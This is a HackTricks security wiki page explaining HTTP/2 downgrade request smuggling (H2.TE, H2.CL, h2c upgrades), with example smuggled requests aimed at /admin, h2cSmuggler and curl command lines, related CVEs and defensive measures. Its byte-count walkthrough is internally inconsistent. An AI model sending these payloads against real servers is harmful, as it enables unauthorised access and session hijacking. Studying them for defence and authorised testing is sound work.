Request Smuggling in HTTP/2 Downgrades
Reading time: 6 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HTTP/2 is generally considered immune to classic request-smuggling because the length of each DATA frame is explicit. That protection disappears as soon as a front-end proxy “downgrades” the request to HTTP/1.x before forwarding it to a back-end. The moment two different parsers (the HTTP/2 front-end and the HTTP/1 back-end) try to agree on where one request ends and the next begins, all the old desync tricks come back – plus a few new ones.
Why downgrades happen
- Browsers already speak HTTP/2, but much legacy origin infrastructure still only understands HTTP/1.1.
- Reverse-proxies (CDNs, WAFs, load-balancers) therefore terminate TLS + HTTP/2 at the edge and rewrite every request as HTTP/1.1 for the origin.
- The translation step has to create both
Content-Length
and/orTransfer-Encoding: chunked
headers so that the origin can determine body length.
Whenever the front-end trusts the HTTP/2 frame length but the back-end trusts CL or TE, an attacker can force them to disagree.
Two dominant primitive classes
Variant | Front-end length | Back-end length | Typical payload |
---|---|---|---|
H2.TE | HTTP/2 frame | Transfer-Encoding: chunked | Embed an extra chunked message body whose final 0\r\n\r\n is not sent, so the back-end waits for the attacker-supplied “next” request. |
H2.CL | HTTP/2 frame | Content-Length | Send a smaller CL than the real body, so the back-end reads past the boundary into the following request. |
These are identical in spirit to classic TE.CL / CL.TE, just with HTTP/2 replacing one of the parsers.
Identifying a downgrade chain
- Use ALPN in a TLS handshake (
openssl s_client -alpn h2 -connect host:443
) or curl:
Ifcurl -v --http2 https://target
* Using HTTP2
appears, the edge speaks H2. - Send a deliberately malformed CL/TE request over HTTP/2 (Burp Repeater now has a dropdown to force HTTP/2). If the response is an HTTP/1.1 error such as
400 Bad chunk
, you have proof the edge converted the traffic for a HTTP/1 parser downstream.
Exploitation workflow (H2.TE example)
:method: POST
:path: /login
:scheme: https
:authority: example.com
content-length: 13 # ignored by the edge
transfer-encoding: chunked
5;ext=1\r\nHELLO\r\n
0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
- The front-end reads exactly 13 bytes (
HELLO\r\n0\r\n\r\nGE
), thinks the request is finished and forwards that much to the origin. - The back-end trusts the TE header, keeps reading until it sees the second
0\r\n\r\n
, thereby consuming the prefix of the attacker’s second request (GET /admin …
). - The remainder (
GET /admin …
) is treated as a new request queued behind the victim’s.
Replace the smuggled request with:
POST /api/logout
to force session fixationGET /users/1234
to steal a victim-specific resource
h2c smuggling (clear-text upgrades)
A 2023 study showed that if a front-end passes the HTTP/1.1 Upgrade: h2c
header to a back-end that supports clear-text HTTP/2, an attacker can tunnel raw HTTP/2 frames through an edge that only validated HTTP/1.1. This bypasses header normalisation, WAF rules and even TLS termination.
Key requirements:
- Edge forwards both
Connection: Upgrade
andUpgrade: h2c
unchanged. - Origin increments to HTTP/2 and keeps the connection-reuse semantics that enable request queueing.
Mitigation is simple – strip or hard-code the Upgrade
header at the edge except for WebSockets.
Notable real-world CVEs (2022-2025)
- CVE-2023-25690 – Apache HTTP Server mod_proxy rewrite rules could be chained for request splitting and smuggling. (fixed in 2.4.56)
- CVE-2023-25950 – HAProxy 2.7/2.6 request/response smuggling when HTX parser mishandled pipelined requests.
- CVE-2022-41721 – Go
MaxBytesHandler
caused left-over body bytes to be parsed as HTTP/2 frames, enabling cross-protocol smuggling.
Tooling
- Burp Request Smuggler – since v1.26 it automatically tests H2.TE/H2.CL and hidden ALPN support. Enable “HTTP/2 probing” in the extension options.
- h2cSmuggler – Python PoC by Bishop Fox to automate the clear-text upgrade attack:
python3 h2csmuggler.py -u https://target -x 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n'
- curl/
hyper
– crafting manual payloads:curl --http2-prior-knowledge -X POST --data-binary @payload.raw https://target
.
Defensive measures
- End-to-end HTTP/2 – eliminate the downgrade translation completely.
- Single source of length truth – when downgrading, always generate a valid
Content-Length
and strip any user-suppliedContent-Length
/Transfer-Encoding
headers. - Normalize before route – apply header-sanitisation before routing/rewrite logic.
- Connection isolation – do not reuse back-end TCP connections across users; “one request per connection” defeats queue-based exploits.
- Strip
Upgrade
unless WebSocket – prevents h2c tunnelling.
References
- PortSwigger Research – “HTTP/2: The Sequel is Always Worse” https://portswigger.net/research/http2
- Bishop Fox – “h2c Smuggling: request smuggling via HTTP/2 clear-text” https://bishopfox.com/blog/h2c-smuggling-request
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.